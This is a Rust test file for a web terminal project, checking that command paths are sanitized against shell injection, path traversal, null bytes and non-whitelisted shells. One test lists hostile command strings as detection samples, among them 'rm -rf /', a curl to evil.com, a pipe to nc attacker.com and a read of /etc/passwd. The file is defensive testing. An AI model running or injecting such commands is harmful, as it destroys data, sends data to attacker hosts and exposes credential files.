socktop-webterm/tests/security_tests.rs

495 lines
14 KiB
Rust
Raw Permalink Normal View History

// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Security tests for command sanitization and validation
use std::path::Path;
use std::process::Command;
// ============================================================================
// Command Path Validation Tests
// ============================================================================
#[test]
fn test_command_path_must_be_absolute() {
// Commands should use absolute paths to avoid PATH manipulation attacks
let safe_commands = vec!["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
for cmd in safe_commands {
assert!(
cmd.starts_with('/'),
"Command '{}' should be an absolute path",
cmd
);
}
}
#[test]
fn test_command_path_no_relative_components() {
// Commands should not contain relative path components like ../ or ./
let commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
for cmd in commands {
assert!(
!cmd.contains(".."),
"Command '{}' should not contain '..' (path traversal)",
cmd
);
assert!(
!cmd.starts_with("./"),
"Command '{}' should not start with './' (relative path)",
cmd
);
}
}
#[test]
fn test_reject_shell_injection_attempts() {
// These strings should never be allowed in command paths
let dangerous_patterns = vec![";", "|", "&", "`", "$", "$(", "&&", "||", "\n", "\r"];
let safe_command = "/bin/sh";
for pattern in dangerous_patterns {
assert!(
!safe_command.contains(pattern),
"Command should not contain shell metacharacter '{}'",
pattern
);
}
}
#[test]
fn test_command_no_spaces() {
// Command paths should not contain spaces (use absolute paths only)
let safe_commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"];
for cmd in safe_commands {
assert!(
!cmd.contains(' '),
"Command path '{}' should not contain spaces",
cmd
);
}
}
#[test]
fn test_command_path_canonical() {
// Command paths should be canonical (no double slashes, etc.)
let commands = vec!["/bin/sh", "/usr/bin/bash"];
for cmd in commands {
assert!(
!cmd.contains("//"),
"Command '{}' should not contain double slashes",
cmd
);
}
}
// ============================================================================
// Environment Variable Security Tests
// ============================================================================
#[test]
fn test_term_env_var_sanitized() {
// TERM variable should be a safe, known value
let term_value = "xterm";
// Should not contain shell metacharacters
assert!(!term_value.contains(';'));
assert!(!term_value.contains('&'));
assert!(!term_value.contains('|'));
assert!(!term_value.contains('`'));
assert!(!term_value.contains('$'));
assert!(!term_value.contains('\n'));
assert!(!term_value.contains('\r'));
}
#[test]
fn test_env_var_no_null_bytes() {
// Environment variables should not contain null bytes
let term_value = "xterm";
assert!(
!term_value.contains('\0'),
"TERM variable should not contain null bytes"
);
}
#[test]
fn test_safe_term_values() {
// Only allow known-safe TERM values
let safe_terms = vec![
"xterm",
"xterm-256color",
"screen",
"screen-256color",
"vt100",
"vt220",
"linux",
"alacritty",
];
for term in safe_terms {
// Verify they are alphanumeric with hyphens only
assert!(
term.chars().all(|c| c.is_alphanumeric() || c == '-'),
"TERM value '{}' should only contain alphanumeric and hyphens",
term
);
}
}
// ============================================================================
// Command Arguments Security Tests
// ============================================================================
#[test]
fn test_command_builder_no_shell_expansion() {
// Using Command::new prevents shell expansion
let cmd = "/bin/sh";
let command = Command::new(cmd);
// Command::new does not invoke a shell, so these would be literal arguments
// This is the safe way to spawn processes
let program = command.get_program();
assert_eq!(program, cmd);
}
#[test]
fn test_no_shell_command_string_execution() {
// We should never use sh -c "command string" pattern
// This test documents that we use Command::new, not shell strings
let safe_command = "/bin/sh";
// Verify we're not constructing shell command strings
assert!(!safe_command.contains(" -c "));
assert!(!safe_command.contains(" -e "));
}
#[test]
fn test_reject_command_injection_patterns() {
// These patterns indicate command injection attempts
let injection_attempts = vec![
"/bin/sh; rm -rf /",
"/bin/bash && curl evil.com",
"/bin/sh | nc attacker.com 1234",
"/bin/bash `whoami`",
"/bin/sh $(cat /etc/passwd)",
];
for attempt in injection_attempts {
// Any of these characters indicate shell injection
let has_injection = attempt.contains(';')
|| attempt.contains('&')
|| attempt.contains('|')
|| attempt.contains('`')
|| attempt.contains("$(");
assert!(
has_injection,
"Should detect injection attempt in: {}",
attempt
);
}
}
// ============================================================================
// Path Traversal Prevention Tests
// ============================================================================
#[test]
fn test_no_path_traversal_in_command() {
// Commands should not allow path traversal
let path_traversal_attempts = vec![
"../../../bin/sh",
"/bin/../../../etc/passwd",
"./evil.sh",
"~/malicious.sh",
];
for attempt in path_traversal_attempts {
assert!(
attempt.contains("..") || attempt.starts_with("./") || attempt.starts_with('~'),
"Path traversal attempt: {}",
attempt
);
}
}
#[test]
fn test_safe_command_paths_exist() {
// Common safe shell paths that should exist on most systems
let common_shells = vec!["/bin/sh"];
for shell in common_shells {
if Path::new(shell).exists() {
// Verify it's an absolute path
assert!(shell.starts_with('/'), "Shell path should be absolute");
}
}
}
// ============================================================================
// Input Size Limits Tests
// ============================================================================
#[test]
fn test_command_path_reasonable_length() {
// Command paths should have reasonable length limits
let max_path_length = 4096; // Common PATH_MAX on Linux
let command = "/bin/sh";
assert!(
command.len() < max_path_length,
"Command path should be less than {} bytes",
max_path_length
);
}
#[test]
fn test_reject_excessively_long_paths() {
let excessive_path = "/".to_string() + &"a".repeat(10000);
assert!(
excessive_path.len() > 4096,
"Test path should exceed reasonable limits"
);
// In real code, we should reject paths this long
}
// ============================================================================
// Whitelist Validation Tests
// ============================================================================
#[test]
fn test_allowed_shells_whitelist() {
// Define a whitelist of allowed shells
let allowed_shells = vec![
"/bin/sh",
"/bin/bash",
"/bin/zsh",
"/usr/bin/bash",
"/usr/bin/zsh",
"/bin/dash",
];
// All allowed shells should be absolute paths
for shell in &allowed_shells {
assert!(
shell.starts_with('/'),
"Whitelisted shell '{}' must be absolute path",
shell
);
}
// All allowed shells should not contain dangerous characters
for shell in &allowed_shells {
assert!(
!shell.contains(';'),
"Whitelisted shell '{}' should not contain ';'",
shell
);
assert!(
!shell.contains('&'),
"Whitelisted shell '{}' should not contain '&'",
shell
);
}
}
#[test]
fn test_validate_command_against_whitelist() {
let allowed_shells = ["/bin/sh", "/bin/bash", "/usr/bin/zsh"];
let test_command = "/bin/sh";
assert!(
allowed_shells.contains(&test_command),
"Command should be in whitelist"
);
let dangerous_command = "/tmp/malicious.sh";
assert!(
!allowed_shells.contains(&dangerous_command),
"Dangerous command should not be in whitelist"
);
}
// ============================================================================
// Null Byte Injection Tests
// ============================================================================
#[test]
fn test_no_null_bytes_in_command() {
// Null bytes can truncate commands in some contexts
let safe_command = "/bin/sh";
assert!(
!safe_command.contains('\0'),
"Command should not contain null bytes"
);
}
#[test]
fn test_detect_null_byte_injection() {
// Test that we can detect null byte injection attempts
let injection = "/bin/sh\0malicious";
assert!(
injection.contains('\0'),
"Should detect null byte in command"
);
}
// ============================================================================
// File Descriptor Security Tests
// ============================================================================
#[test]
fn test_no_file_descriptor_redirection_in_command() {
// Commands should not contain file descriptor redirections
let command = "/bin/sh";
assert!(!command.contains('>'), "No output redirection");
assert!(!command.contains('<'), "No input redirection");
assert!(!command.contains("2>&1"), "No stderr redirection");
}
// ============================================================================
// Unicode and Special Character Tests
// ============================================================================
#[test]
fn test_command_ascii_only() {
// Command paths should be ASCII to avoid Unicode tricks
let safe_command = "/bin/sh";
assert!(safe_command.is_ascii(), "Command path should be ASCII only");
}
#[test]
fn test_no_control_characters_in_command() {
// Commands should not contain control characters
let safe_command = "/bin/sh";
for ch in safe_command.chars() {
assert!(
!ch.is_control() || ch == '\n' || ch == '\t',
"Command should not contain control character: {:?}",
ch
);
}
}
// ============================================================================
// Symlink and Special File Tests
// ============================================================================
#[test]
fn test_command_not_in_tmp() {
// Commands should not be executed from /tmp (common malware location)
let command = "/bin/sh";
assert!(
!command.starts_with("/tmp/"),
"Should not execute commands from /tmp"
);
}
#[test]
fn test_command_not_in_user_writable_dirs() {
// Commands should not be in user-writable directories
let command = "/bin/sh";
let user_writable = vec!["/tmp/", "/var/tmp/", "/home/", "/Users/"];
for dir in user_writable {
if command.starts_with(dir) {
panic!("Command should not be in user-writable directory: {}", dir);
}
}
}
// ============================================================================
// Logging and Audit Tests
// ============================================================================
#[test]
fn test_command_execution_should_be_logged() {
// This test documents that command execution should be logged
// In the actual code, log::info! is used when spawning processes
let command = "/bin/sh";
// Verify command is loggable (no sensitive data, reasonable length)
assert!(
command.len() < 1024,
"Command should be short enough to log"
);
assert!(command.is_ascii(), "Command should be safely loggable");
}
// ============================================================================
// Integration with Command::new() Tests
// ============================================================================
#[test]
fn test_command_new_prevents_shell_expansion() {
// Document that Command::new does not invoke a shell
let cmd = Command::new("/bin/sh");
// Command::new takes a literal program path, no shell interpretation
assert_eq!(cmd.get_program(), "/bin/sh");
}
#[test]
fn test_command_args_separate_from_program() {
// Arguments should be passed separately, not in the program string
let mut cmd = Command::new("/bin/sh");
cmd.arg("-c");
cmd.arg("echo hello");
// This is safe because args are not shell-interpreted
assert_eq!(cmd.get_program(), "/bin/sh");
}
// ============================================================================
// Summary Test: Complete Security Checklist
// ============================================================================
#[test]
fn test_command_security_checklist() {
let command = "/bin/sh";
// 1. Absolute path
assert!(command.starts_with('/'), "Must be absolute path");
// 2. No path traversal
assert!(!command.contains(".."), "No path traversal");
// 3. No shell metacharacters
assert!(!command.contains(';'), "No semicolons");
assert!(!command.contains('&'), "No ampersands");
assert!(!command.contains('|'), "No pipes");
assert!(!command.contains('`'), "No backticks");
assert!(!command.contains('$'), "No variable expansion");
// 4. No null bytes
assert!(!command.contains('\0'), "No null bytes");
// 5. ASCII only
assert!(command.is_ascii(), "ASCII only");
// 6. Reasonable length
assert!(command.len() < 256, "Reasonable length");
// 7. Not in user-writable directory
assert!(!command.starts_with("/tmp/"), "Not in /tmp");
assert!(!command.starts_with("/var/tmp/"), "Not in /var/tmp");
// 8. No spaces (absolute path only)
assert!(!command.contains(' '), "No spaces in path");
println!("✓ Command '{}' passed all security checks", command);
}